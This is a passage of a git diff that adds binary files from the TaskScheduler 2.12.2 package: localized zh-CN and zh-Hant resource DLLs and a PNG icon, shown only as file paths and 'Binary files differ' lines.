a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..0146305 Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000..e53f18e Binary files /dev/null and b/packages/TaskScheduler.2.12.2/lib/netstandard2.1/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll differ diff --git a/packages/TaskScheduler.2.12.2/tsnew48.png b/packages/TaskScheduler.2.12.2/tsnew48.png new file mode 100644 index 0000000..32ae11c Binary files /dev/null and b/packages/TaskScheduler.2.12.2/tsnew48.png differ